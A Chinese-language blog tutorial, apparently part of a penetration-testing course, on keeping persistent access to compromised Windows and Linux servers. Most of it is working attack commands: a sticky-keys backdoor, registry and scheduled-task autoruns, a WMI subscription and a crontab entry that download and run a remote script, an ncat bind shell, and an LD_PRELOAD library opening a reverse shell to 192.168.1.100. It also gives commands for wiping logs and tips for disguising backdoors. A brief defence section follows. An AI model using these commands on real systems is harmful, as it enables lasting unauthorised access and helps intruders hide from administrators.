第12章 第115课
内网持久化实战指南:从后门植入到长期潜伏
大家好,今天我们来聊聊渗透测试中最"厚脸皮"的技术——持久化维持访问。想象一下,你千辛万苦拿到服务器权限,结果管理员一个重启就把你踢出来了,这种滋味可不好受 ( ̄ω ̄;)
1. 持久化:黑客的"备胎钥匙"
(1) 什么是持久化?
就像你偷偷配了班主任办公室的钥匙:
- 第一次进入:可能靠钓鱼邮件或者漏洞利用
- 持久化后:即使老师换了门锁(改密码),你依然有备用入口
(2) 核心目标
1. 存活重启:服务器重启后仍能保持访问
2. 绕过检测:不被杀软/管理员发现
3. 多种备用:准备至少3种不同的后门
2. Windows持久化五大邪术
(1) 粘滞键后门:残疾人的逆袭
原理:替换辅助功能的sethc.exe为cmd.exe
# 需要管理员权限
copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
takeown /f c:\windows\system32\sethc.exe
icacls c:\windows\system32\sethc.exe /grant administrators:F
触发方式:连续按5次Shift键(登录界面也有效)
防御检测:
监控C:\Windows\System32\sethc.exe的文件哈希变化
(2) 注册表自启动:老牌但有效
# 添加启动项
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\temp\backdoor.exe" /f
# 更隐蔽的姿势(用户登录时执行)
reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "C:\malware.exe" /f
实战技巧:
伪装成AdobeUpdate.exe这类常见进程名
(3) 计划任务:系统级的"闹钟"
# 每分钟执行一次
schtasks /create /tn "SystemChecker" /tr "C:\shell.exe" /sc minute /mo 1
# 更隐蔽的姿势(空闲时执行)
schtasks /create /tn "IdleTask" /tr "powershell -ep bypass -c 'IEX(New-Object Net.WebClient).DownloadString(''http://192.168.1.100/rev.ps1'')'" /sc onidle /i 10
日志清理:
完成后记得删除任务记录
wevtutil cl "Microsoft-Windows-TaskScheduler/Operational"
(4) WMI无文件后门:高级玩家的选择
# 创建永久事件订阅
$FilterArgs = @{
EventNamespace = 'root\cimv2'
Name = 'WindowsUpdateFilter'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$ConsumerArgs = @{
Name = 'WindowsUpdateConsumer'
CommandLineTemplate = "powershell.exe -nop -w hidden -c 'IEX(New-Object Net.WebClient).DownloadString(''http://192.168.1.100/rev.ps1'')'"
}
$Filter = Set-WmiInstance -Class __EventFilter -Arguments $FilterArgs
$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments $ConsumerArgs
Set-WmiInstance -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer}
特点:
- 无文件落地
- 重启后依然有效
- 常规进程监控看不到
3. Linux持久化三板斧
(1) SSH公钥后门:最简单的方案
# 在目标机器上操作
echo 'ssh-rsa AAAAB3NzaC...' >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
# 更隐蔽的姿势(root用户)
mkdir -p /root/.ssh && echo '你的公钥' >> /root/.ssh/authorized_keys
防御检测:
监控/etc/ssh/sshd_config中的AllowUsers设置
(2) Crontab定时任务
# 每分钟连接一次C2服务器
(crontab -l 2>/dev/null; echo "* * * * * curl http://192.168.1.100/shell.sh | bash") | crontab -
# 更隐蔽的姿势(写入/etc/cron.d)
echo "* * * * * root ncat -lvp 4444 -e /bin/bash" > /etc/cron.d/backup
日志清理:
sed -i '/backup/d' /var/log/cron
(3) LD_PRELOAD劫持
# 编译恶意so库
cat <<EOF > /tmp/evil.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
void _init() {
system("bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'");
}
EOF
gcc -shared -o /lib/evil.so -fPIC /tmp/evil.c
# 全局生效
echo "/lib/evil.so" >> /etc/ld.so.preload
特点:
- 任何程序启动都会触发
- 常规进程检查看不到异常
4. 防御与对抗
(1) Windows防御建议
# 检查异常计划任务
Get-ScheduledTask | Where-Object { $_.TaskPath -notlike "\Microsoft*" }
# 监控WMI事件
Get-WmiObject -Namespace root\subscription -Class __EventFilter
(2) Linux防御建议
# 检查异常cron任务
ls -la /etc/cron* /var/spool/cron
# 监控LD_PRELOAD
grep -r "LD_PRELOAD" /etc/environment /etc/ld.so.preload
(3) 企业级防护
1. 启用AppLocker限制可执行路径
2. 部署EDR监控进程注入行为
3. 定期审计特权账户活动
5. 持久化思维导图
graph LR
A[初始入侵] --> B{系统类型}
B -->|Windows| C[粘滞键/注册表/WMI]
B -->|Linux| D[SSH/Crontab/预加载]
C & D --> E[清理日志]
E --> F[准备备用通道]
最后忠告:
- 在授权测试中谨慎使用持久化技术
- 企业内网往往有更严格的监控
- 保持学习,防御手段也在不断升级 (╯°□°)╯︵ ┻━┻
下次我们聊聊如何绕过EDR的内存扫描,想深入了解的同学可以留言讨论~
感谢浏览和学习,作者:鱼油YOU,转载请注明原文链接:https://www.cnblogs.com/OmegaYOU3/p/19028194,或者可以➕主播WX:OmegaAnimeman_desu;QQ:3819054512
浙公网安备 33010602011771号